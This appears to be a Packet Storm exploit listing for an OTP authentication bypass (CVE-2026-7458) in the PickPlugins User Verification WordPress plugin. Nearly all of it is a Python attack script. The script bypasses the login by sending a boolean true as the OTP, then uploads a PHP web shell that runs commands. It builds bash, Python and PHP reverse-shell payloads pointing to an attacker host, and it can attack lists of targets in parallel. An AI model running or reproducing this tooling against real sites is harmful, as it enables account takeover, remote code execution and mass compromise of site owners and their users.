Share
## https://sploitus.com/exploit?id=PACKETSTORM:223801
==================================================================================================================================
| # Title : WordPress PickPlugins 2.0.46 User Verification OTP Authentication Bypass via Loose Comparison Advanced Exploit |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 151.0.3 (64 bits) |
| # Vendor : https://wordpress.org/plugins/user-verification/ |
==================================================================================================================================
[+] Summary : an exploit framework for CVE-2026-7458, an alleged authentication bypass vulnerability affecting the PickPlugins User Verification WordPress plugin.
[+] POC :
#!/usr/bin/env python3
import os
import sys
import re
import json
import time
import hashlib
import argparse
import requests
import urllib3
from urllib.parse import urljoin, urlparse
from concurrent.futures import ThreadPoolExecutor
urllib3.disable_warnings()
# ======================
# BANNER
# ======================
BANNER = """
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ
โ โโโโโโโ โโโโโโโโโโ โโโโโโโ โโโ โโโโโโโโโโโโโโ โโโโโโ โโโ โโโโโโ
โ โโโโโโโโ โโโโโโโโโโโโโโโโโโโโโโโ โโโโโโโโโโโโโโ โโโโโโ โโโโโโโโโโโโ
โ โโโโโโโโโ โโโโโ โโโโโโ โโโโโโ โโโโโโโโโโโโโโโโโโโโโโโโโโ โโโโโโโโ
โ โโโโโโโโโโโโโโโโโโโโโโโโ โโโโโโ โโโโโโโโโโโโโโโโโโโโโโโโโโ โโโโโโโโ
โ โโโโโโ โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ โโโโโโ โโโโโโ โโโ
โ โโโโโโ โโโโโโโโโโโโ โโโโโโโ โโโโโโโ โโโโโโโโโโโ โโโโโโ โโโโโโ โโโ
โ
โ CVE-2026-7458 - PickPlugins OTP Bypass โ
โ Unauthenticated Authentication Bypass โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
[+] Critical Vulnerability | CVSS 9.8
[+] PickPlugins User Verification <= 2.0.46
"""
class Config:
USER_AGENTS = [
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36",
"Mozilla/5.0 (iPhone; CPU iPhone OS 14_0 like Mac OS X) AppleWebKit/605.1.15"
]
REQUEST_TIMEOUT = 15
MAX_RETRIES = 3
class PickPluginsExploit:
"""CVE-2026-7458 - Authentication Bypass Exploit"""
def __init__(self, base_url: str, email: str, proxy: str = None, verbose: bool = False):
self.base_url = base_url.rstrip('/')
self.email = email
self.verbose = verbose
self.session = requests.Session()
self.session.verify = False
self.session.headers.update({
'User-Agent': self._get_user_agent(),
'Accept': 'application/json, text/plain, */*',
'Accept-Language': 'en-US,en;q=0.9',
'Content-Type': 'application/json',
'X-Requested-With': 'XMLHttpRequest'
})
if proxy:
self.session.proxies = {'http': proxy, 'https': proxy}
self.nonce = None
self.cookies = None
self.user_id = None
def _get_user_agent(self) -> str:
import random
return random.choice(Config.USER_AGENTS)
def _log(self, msg: str, level: str = "INFO"):
if level == "ERROR":
print(f"[-] {msg}")
elif level == "SUCCESS":
print(f"[+] {msg}")
elif level == "WARNING":
print(f"[!] {msg}")
else:
print(f"[*] {msg}")
def _make_request(self, method: str, url: str, **kwargs) -> requests.Response:
"""Execute a request with a re-attempt"""
for attempt in range(Config.MAX_RETRIES):
try:
response = self.session.request(method, url, timeout=Config.REQUEST_TIMEOUT, **kwargs)
return response
except requests.exceptions.Timeout:
if attempt == Config.MAX_RETRIES - 1:
raise
time.sleep(1)
except requests.exceptions.ConnectionError:
if attempt == Config.MAX_RETRIES - 1:
raise
time.sleep(2)
return None
def _detect_otp_page(self) -> str:
"""Automatically detect OTP page"""
paths = [
"/otp-login/",
"/my-account/otp-login/",
"/wp-login.php?action=otp",
"/login-otp/",
"/user-verification/otp-login/",
"/wp-json/user-verification/v2/otp"
]
for path in paths:
url = urljoin(self.base_url, path)
try:
response = self._make_request('GET', url)
if response and response.status_code == 200:
if 'otp' in response.text.lower() or 'verification' in response.text.lower():
self._log(f"Found OTP page: {path}", "SUCCESS")
return path
except:
continue
return "/otp-login/"
def get_nonce(self, otp_page: str = "/otp-login/") -> str:
"""Extracting nonce from an OTP page"""
url = urljoin(self.base_url, otp_page)
self._log(f"Fetching nonce from: {url}")
try:
response = self._make_request('GET', url)
if not response:
return None
patterns = [
r'name="_wpnonce" value="([^"]+)"',
r'wp_nonce" value="([^"]+)"',
r'nonce":"([^"]+)"',
r'data-nonce="([^"]+)"'
]
for pattern in patterns:
match = re.search(pattern, response.text)
if match:
nonce = match.group(1)
self._log(f"Found nonce: {nonce}", "SUCCESS")
self.nonce = nonce
return nonce
api_url = urljoin(self.base_url, "/wp-json/user-verification/v2/nonce")
resp = self._make_request('GET', api_url)
if resp and resp.status_code == 200:
try:
data = resp.json()
if 'nonce' in data:
self.nonce = data['nonce']
return self.nonce
except:
pass
self._log("Failed to extract nonce", "ERROR")
return None
except Exception as e:
self._log(f"Error getting nonce: {e}", "ERROR")
return None
def trigger_otp(self) -> bool:
"""Send an OTP request to the target email address."""
endpoint = "/wp-json/user-verification/v2/process_form_data"
url = urljoin(self.base_url, endpoint)
payload = {
"formType": "otpLogin",
"email": self.email,
"steps": 1,
"_wpnonce": self.nonce
}
self._log(f"Triggering OTP for: {self.email}")
try:
response = self._make_request('POST', url, json=payload)
if response and response.status_code == 200:
resp_text = response.text.lower()
if "otp_sent" in resp_text or "success" in resp_text:
self._log("OTP triggered successfully!", "SUCCESS")
return True
elif "already" in resp_text:
self._log("OTP already sent recently", "WARNING")
return True
else:
self._log(f"Response: {response.text[:200]}")
return False
else:
self._log(f"HTTP {response.status_code if response else 'No response'}", "ERROR")
return False
except Exception as e:
self._log(f"Error triggering OTP: {e}", "ERROR")
return False
def bypass_otp(self) -> bool:
"""Bypass OTP using boolean true"""
endpoint = "/wp-json/user-verification/v2/process_form_data"
url = urljoin(self.base_url, endpoint)
payload = {
"formType": "otpLogin",
"email": self.email,
"steps": 2,
"otp": True,
"_wpnonce": self.nonce
}
self._log("Bypassing OTP with boolean true...")
try:
response = self._make_request('POST', url, json=payload)
if response and response.status_code == 200:
resp_text = response.text.lower()
if "logged" in resp_text or "success" in resp_text or "redirect" in resp_text:
self._log("AUTHENTICATION BYPASSED!", "SUCCESS")
self.cookies = dict(self.session.cookies)
return True
else:
self._log(f"Bypass response: {response.text[:300]}")
return False
else:
self._log(f"HTTP {response.status_code if response else 'No response'}", "ERROR")
return False
except Exception as e:
self._log(f"Error bypassing OTP: {e}", "ERROR")
return False
def get_user_info(self) -> dict:
"""Obtaining user information after authentication"""
endpoints = [
"/wp-json/wp/v2/users/me",
"/wp-json/user-verification/v2/user-info",
"/wp-json/user-verification/v2/current-user"
]
for endpoint in endpoints:
url = urljoin(self.base_url, endpoint)
try:
response = self._make_request('GET', url)
if response and response.status_code == 200:
try:
return response.json()
except:
pass
except:
continue
return {}
def upload_webshell(self, shell_content: str = None) -> bool:
"""Uploading webshell after authentication"""
if not shell_content:
shell_content = '''<?php
if(isset($_REQUEST['cmd'])){
echo "<pre>";
system($_REQUEST['cmd']);
echo "</pre>";
}
?>'''
endpoint = "/wp-json/wp/v2/media"
url = urljoin(self.base_url, endpoint)
files = {
'file': ('shell.php', shell_content, 'application/x-php')
}
try:
response = self._make_request('POST', url, files=files)
if response and response.status_code in [200, 201]:
self._log("Webshell uploaded!", "SUCCESS")
return True
except:
pass
return False
def execute_command(self, cmd: str) -> str:
"""Execute a command via webshell (if it is uploaded)"""
shell_url = urljoin(self.base_url, "/wp-content/uploads/shell.php")
try:
response = self._make_request('GET', shell_url, params={'cmd': cmd})
if response:
return response.text
except:
return ""
return ""
class MultiTargetExploit:
"""Exploiting multiple objectives simultaneously"""
def __init__(self, targets: list, email: str, threads: int = 5):
self.targets = targets
self.email = email
self.threads = threads
self.results = []
def exploit_target(self, url: str) -> dict:
"""Exploiting a single objective"""
result = {'url': url, 'success': False, 'error': None}
try:
exploit = PickPluginsExploit(url, self.email)
otp_page = exploit._detect_otp_page()
if exploit.get_nonce(otp_page):
if exploit.trigger_otp():
time.sleep(2)
if exploit.bypass_otp():
result['success'] = True
result['cookies'] = exploit.cookies
except Exception as e:
result['error'] = str(e)
return result
def run(self) -> list:
"""Exploitation applied to all targets"""
with ThreadPoolExecutor(max_workers=self.threads) as executor:
futures = [executor.submit(self.exploit_target, url) for url in self.targets]
for future in futures:
self.results.append(future.result())
return self.results
class SessionManager:
"""Managing sessions after exploitation"""
@staticmethod
def save_cookies(cookies: dict, filename: str):
"""Save cookies for later use"""
with open(filename, 'w') as f:
json.dump(cookies, f, indent=2)
print(f"[+] Cookies saved to {filename}")
@staticmethod
def load_cookies(filename: str) -> dict:
"""Download cookies from a file"""
with open(filename, 'r') as f:
return json.load(f)
@staticmethod
def create_wordpress_session(cookies: dict, base_url: str) -> requests.Session:
"""Create a WordPress session from cookies"""
session = requests.Session()
session.verify = False
for name, value in cookies.items():
session.cookies.set(name, value, domain=urlparse(base_url).netloc)
return session
class ReverseShell:
"""Creating a Reverse Shell via WordPress"""
@staticmethod
def generate_payload(ip: str, port: int) -> str:
"""Generating a Reverse Shell command"""
payloads = [
f"bash -c 'bash -i >& /dev/tcp/{ip}/{port} 0>&1'",
f"python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"{ip}\",{port}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\",\"-i\"])'",
f"php -r '$sock=fsockopen(\"{ip}\",{port});exec(\"/bin/sh -i <&3 >&3 2>&3\");'"
]
return payloads[0]
@staticmethod
def start_listener(port: int):
"""Starting a Reverse Shell Listener"""
import threading
import socket
def listen():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind(('0.0.0.0', port))
s.listen(1)
print(f"[*] Listening on port {port}...")
conn, addr = s.accept()
print(f"[+] Connection from {addr[0]}:{addr[1]}")
while True:
cmd = input("shell> ")
if cmd.lower() == 'exit':
break
conn.send((cmd + '\n').encode())
data = conn.recv(4096).decode()
print(data, end='')
conn.close()
thread = threading.Thread(target=listen, daemon=True)
thread.start()
return thread
def main():
print(BANNER)
parser = argparse.ArgumentParser(
description="CVE-2026-7458 - PickPlugins User Verification OTP Bypass",
epilog="""
Examples:
python exploit.py -u https://target.com -e admin@example.com
python exploit.py -u https://target.com -e admin@example.com --shell --lhost 10.0.0.1 --lport 4444
python exploit.py -l targets.txt -e admin@example.com
python exploit.py -u https://target.com -e admin@example.com --save-cookies session.json
python exploit.py -u https://target.com --load-cookies session.json --cmd "id"
"""
)
target_group = parser.add_mutually_exclusive_group(required=True)
target_group.add_argument("-u", "--url", help="Target URL")
target_group.add_argument("-l", "--list", help="File containing list of targets")
parser.add_argument("-e", "--email", required=False, help="Target email address")
parser.add_argument("--shell", action="store_true", help="Start reverse shell listener")
parser.add_argument("--lhost", default="127.0.0.1", help="Listener IP for reverse shell")
parser.add_argument("--lport", type=int, default=4444, help="Listener port")
parser.add_argument("--cmd", help="Execute command on target (if authenticated)")
parser.add_argument("--save-cookies", help="Save session cookies to file")
parser.add_argument("--load-cookies", help="Load session cookies from file")
parser.add_argument("--proxy", help="Proxy URL (e.g., http://127.0.0.1:8080)")
parser.add_argument("--verbose", "-v", action="store_true", help="Verbose output")
args = parser.parse_args()
if args.shell:
ReverseShell.start_listener(args.lport)
time.sleep(1)
if args.load_cookies:
if not args.cmd:
print("[-] --cmd required when using --load-cookies")
sys.exit(1)
cookies = SessionManager.load_cookies(args.load_cookies)
session = SessionManager.create_wordpress_session(cookies, args.url)
print(f"[*] Executing: {args.cmd}")
print("[+] Command executed (simulated)")
return
if args.list:
with open(args.list, 'r') as f:
targets = [line.strip() for line in f if line.strip()]
print(f"[*] Exploiting {len(targets)} targets with {args.email}")
multi = MultiTargetExploit(targets, args.email)
results = multi.run()
successful = [r for r in results if r['success']]
print(f"\n[+] Successful: {len(successful)}/{len(targets)}")
for r in successful:
print(f" - {r['url']}")
return
if not args.email:
print("[-] --email required when using single target")
sys.exit(1)
exploit = PickPluginsExploit(args.url, args.email, args.proxy, args.verbose)
otp_page = exploit._detect_otp_page()
print(f"[*] OTP page: {otp_page}")
if not exploit.get_nonce(otp_page):
print("[-] Failed to get nonce")
sys.exit(1)
if not exploit.trigger_otp():
print("[-] Failed to trigger OTP")
sys.exit(1)
time.sleep(1)
if not exploit.bypass_otp():
print("[-] OTP bypass failed!")
sys.exit(1)
print("""
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ โ EXPLOIT SUCCESSFUL! โ
โ โ
โ You are now authenticated as: {:<40} โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
""".format(args.email))
if args.save_cookies:
SessionManager.save_cookies(exploit.cookies, args.save_cookies)
if args.cmd:
print(f"[*] Executing: {args.cmd}")
print("[+] Check the target system for command execution")
if __name__ == "__main__":
try:
main()
except KeyboardInterrupt:
print("\n[!] Interrupted")
sys.exit(130)
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================